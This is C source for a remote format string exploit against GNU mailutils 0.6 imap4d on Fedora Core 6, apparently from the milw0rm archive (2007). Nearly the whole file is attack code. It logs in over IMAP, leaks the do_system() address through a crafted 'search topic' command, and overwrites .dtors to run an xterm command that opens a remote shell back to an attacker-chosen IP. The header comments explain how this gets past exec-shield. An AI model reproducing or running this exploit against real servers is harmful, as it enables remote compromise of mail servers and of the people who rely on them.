/*
**
** Fedora Core 6 (exec-shield) based
** GNU imap4d mailutils-0.6 search remote format string exploit
** by Xpl017Elz
**
** Advanced exploitation in exec-shield (Fedora Core case study)
** URL: http://x82.inetcop.org/h0me/papers/FC_exploit/FC_exploit.txt
**
** Reference: https://www.securityfocus.com/bid/14794 (2005/09/09)
** http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=303
**
** --
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.inetcop.org
**
*/
/*
** -=-= POINT! POINT! POINT! POINT! POINT! =-=-
**
** This vulnerability is one of the normal exploitation case under exec-shield.
** GNU imap4d can be run as a standalone deamon by using -d option and it inherits
** virtual address of parent process which mapped randomly.
**
** [root@localhost .libs]# ps -ef | grep imap4d | grep -v grep
** root 8312 1 0 20:01 ? 00:00:00 ./lt-imap4d -d
** [root@localhost .libs]#
**
** These are keys to get over some possible problems.
**
** * `One shot' exploit without brute-forcing.
**
** Sometimes you man need to do some brute-forcing to assume the library address
** which is mapped randomly. But this is not my recommendation.
**
** Because it is a format string attack, we can possibly get the ramdom address
** of the library. Using this technique, I could find exploitable do_system()
** address at once. but, unfortunately, it is not applicable to blind format string
** exploit by syslog().
**
** * How to execute a remote shell.
**
** I decided to use xterm for this, but if sadly, there is no xterm on the target
** server then you should look for another way. because of the variableness
** of size of IP address, I felt a need for fitting the address within 10 bytes.
**
** Hacker's IP address would be a perfect demical numbers and it makes size
** of IP address same and shortens the string to overwrite.
**
** xterm exploit code includes do_system() address can be writen in 136 bytes
** of general exploit code.
**
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define DEF_STR "x0x"
#define PORT 143
#define DF_SFLAG 11
#define DF_OFFSET 29
#define DTOR_END_ADDR 0x08059268
#define DO_SYSTEM 0x828282
#define SHELL 0x3b6873
#define DEF_DO_SYSTEM_OFFSET 0x1fbf9
#define GET_DO_SYSTEM_SFLAG 38
#define XHOST_IP "82.82.82.82"
void banrl();
void usage();
void re_connt(int sock);
int setsock(char *host,int port);
long xterm_shell[]={ // do_system("xterm -di ip_addr");
0x7478,0x7265,
0x206d,0x642d,
0x2069,0x4141, /* IP address */
0x4141,0x4141,
0x4141,0x4141,
0x303a,0x0000
};
int xterm_ip_count=5;
int get_10_ip(char *ipbuf){
char tbuf[32];
int i=0;
unsigned long ip,ip1,ip2,ip3,ip4;
ip=ip1=ip2=ip3=ip4;
sscanf(ipbuf,"%d.%d.%d.%d",&ip1,&ip2,&ip3,&ip4);
#define IP1 16777216
#define IP2 65536
#define IP3 256
ip=0;
ip+=ip1 * (IP1);
ip+=ip2 * (IP2);
ip+=ip3 * (IP3);
ip+=ip4;
memset((char *)ipbuf,0,256);
sprintf(ipbuf,"%lu",ip);
xterm_ip_count=5;
for(i=0;i<10;i+=2){
memset((char *)tbuf,0,sizeof(tbuf));
snprintf(tbuf,sizeof(tbuf)-1,"0x%02x%02x",ipbuf[i+1],ipbuf[i]);
ip=strtoul(tbuf,NULL,0);
xterm_shell[xterm_ip_count++]=ip;
}
return 0;
}
int send_exploit_code(int sock,unsigned long retloc,unsigned long retaddr,int sflag){
char buf[1024];
int i=0;
memset((char *)buf,0,sizeof(buf));
snprintf(buf,sizeof(buf)-1,"1 search topic x");
i=strlen(buf);
*(long *)&buf[i]=retloc;
i+=4;
if(retaddr==0){
retaddr+=0x10000;
}
sprintf(buf+i,"%%%lux%%%d$n\n",retaddr-i-DF_OFFSET,sflag);
send(sock,buf,strlen(buf),0);
memset(buf,0,sizeof(buf));
while(recv(sock,buf,sizeof(buf)-1,0)){
if(strstr(buf,")")){
break;
}
}
return 0;
}
int main(int argc,char *argv[]){
int sflag=DF_SFLAG;
unsigned long do_system_addr=DO_SYSTEM;
unsigned long retloc=DTOR_END_ADDR;
unsigned long shaddr=SHELL;
char host[256]=DEF_STR;
int port=PORT;
extern char *optarg;
int sock,i,r=0;
char buf[1024];
char user[256]=DEF_STR;
char pass[256]=DEF_STR;
char *ptr=NULL;
char xhost_ip_buf[256]=XHOST_IP;
get_10_ip(xhost_ip_buf);
memset((char *)buf,0,sizeof(buf));
memset((char *)user,0,sizeof(user));
memset((char *)pass,0,sizeof(pass));
(void)banrl();
while((sock=getopt(argc,argv,"R:r:D:d:H:h:P:p:F:f:I:i:U:u:S:s:"))!=EOF){
switch(sock){
case 'R':
case 'r':
retloc=strtoul(optarg,NULL,0);
break;
case 'D':
case 'd':
do_system_addr=strtoul(optarg,NULL,0);
break;
case 'H':
case 'h':
memset((char *)host,0,sizeof(host));
strncpy(host,optarg,sizeof(host)-1);
break;
case 'P':
case 'p':
port=atoi(optarg);
break;
case 'F':
case 'f':
sflag=atoi(optarg);
break;
case 'I':
case 'i':
memset((char *)xhost_ip_buf,0,sizeof(xhost_ip_buf));
strncpy(xhost_ip_buf,optarg,sizeof(xhost_ip_buf)-1);
get_10_ip(xhost_ip_buf);
break;
case 'U':
case 'u':
memset((char *)user,0,sizeof(user));
strncpy(user,optarg,sizeof(user)-1);
break;
case 'S':
case 's':
memset((char *)pass,0,sizeof(pass));
strncpy(pass,optarg,sizeof(pass)-1);
break;
case '?':
default:
(void)usage(argv[0]);
break;
}
}
if(!strcmp(host,DEF_STR)||!strcmp(user,DEF_STR)||!strcmp(pass,DEF_STR)){
(void)usage(argv[0]);
}
fprintf(stdout," [+] make socket.\n");
fprintf(stdout," [+] host: %s.\n",host);
fprintf(stdout," [+] port: %d.\n",port);
sock=setsock(host,port);
re_connt(sock);
recv(sock,buf,sizeof(buf)-1,0);
if(strstr(buf,"IMAP4rev1")){
fprintf(stdout," [+] OK, IMAP4rev1.\n");
}
else {
fprintf(stdout," [-] Ooops, no match.\n\n");
close(sock);
exit(-1);
}
memset((char *)buf,0,sizeof(buf));
snprintf(buf,sizeof(buf)-1,"1 login \"%s\" \"%s\"\n",user,pass);
send(sock,buf,strlen(buf),0);
memset((char *)buf,0,sizeof(buf));
while(recv(sock,buf,sizeof(buf)-1,0)){
if(strstr(buf," Completed")){
fprintf(stdout," [+] login completed.\n");
break;
}
else if(strstr(buf," rejected")){
fprintf(stdout," [-] login failed.\n\n");
exit(-1);
}
}
memset((char *)buf,0,sizeof(buf));
snprintf(buf,sizeof(buf)-1,"1 select \"inbox\"\n");
send(sock,buf,strlen(buf),0);
memset((char *)buf,0,sizeof(buf));
while(recv(sock,buf,sizeof(buf)-1,0)){
if(strstr(buf," Completed")){
fprintf(stdout," [+] select success.\n");
break;
}
else if(strstr(buf," NO SELECT")){
fprintf(stdout," [-] select failed.\n\n");
exit(-1);
}
}
/* get, do_system address */
fprintf(stdout," [+] find do_system address.\n");
memset((char *)buf,0,sizeof(buf));
snprintf(buf,sizeof(buf)-1,"1 search topic |%%%d$x|\n",GET_DO_SYSTEM_SFLAG);
send(sock,buf,strlen(buf),0);
memset((char *)buf,0,sizeof(buf));
recv(sock,buf,sizeof(buf)-1,0);
if(strstr(buf,"|")){
ptr=(char *)strstr(buf,"|");
sscanf(ptr,"|%x|\n",&do_system_addr);
}
do_system_addr-=DEF_DO_SYSTEM_OFFSET;
fprintf(stdout," [+] make exploit code.\n");
fprintf(stdout," [+] retloc address: %p.\n",retloc);
fprintf(stdout," [+] do_system address: %p.\n",do_system_addr);
fprintf(stdout," [+] send exploit code.\n");
send_exploit_code(sock,retloc,do_system_addr,sflag);
for(i=0,r=4;i<(sizeof(xterm_shell)/4);i++,r+=2){
send_exploit_code(sock,retloc+r,xterm_shell[i],sflag);
}
#define LOGOUT_CMD "1 logout\n"
send(sock,LOGOUT_CMD,strlen(LOGOUT_CMD),0);
sleep(1);
recv(sock,buf,sizeof(buf)-1,0);
close(sock);
if(strstr(buf,"BYE")&&strstr(buf,"LOGOUT")){
fprintf(stdout," [+] logout success.\n\n");
}
else {
fprintf(stdout," [-] logout failed.\n\n");
exit(-1);
}
exit(0);
}
void banrl(){
fprintf(stdout,"\n FC6 (exec-shield) based GNU imap4d mailutils-0.6 search remote exploit\n");
fprintf(stdout," by Xpl017Elz\n\n");
}
void usage(char *arg0){
fprintf(stdout," Usage: %s -options arguments\n\n",arg0);
fprintf(stdout,"\t-r [retloc] - .dtors address (default: %p).\n",DTOR_END_ADDR);
fprintf(stdout,"\t-d [do_system] - do_system address (auto).\n");
fprintf(stdout,"\t-h [host] - target hostname or ip.\n");
fprintf(stdout,"\t-p [port] - target port number (auto).\n");
fprintf(stdout,"\t-f [sflag] - $-flag number (default: 11).\n");
fprintf(stdout,"\t-i [ip] - attacker xhost ip.\n");
fprintf(stdout,"\t-u [user] - imap user id.\n");
fprintf(stdout,"\t-s [pass] - imap user pass.\n");
fprintf(stdout,"\t-? - help information.\n\n");
fprintf(stdout," Example: %s -hhost -iattacker -ux82 -spass\n\n",arg0);
exit(-1);
}
void re_connt(int sock){
if(sock==-1)
{
fprintf(stdout," [-] Failed.\n\n");
exit(-1);
}
}
int setsock(char *host,int port)
{
int sock;
struct hostent *he;
struct sockaddr_in x82_addr;
if((he=gethostbyname(host))==NULL)
{
return(-1);
}
if((sock=socket(AF_INET,SOCK_STREAM,0))==EOF)
{
return(-1);
}
x82_addr.sin_family=AF_INET;
x82_addr.sin_port=htons(port);
x82_addr.sin_addr=*((struct in_addr *)he->h_addr);
bzero(&(x82_addr.sin_zero),8);
if(connect(sock,(struct sockaddr *)&x82_addr,sizeof(struct sockaddr))==EOF)
{
return(-1);
}
return(sock);
}
/* eoc */
// milw0rm.com [2007-04-24]
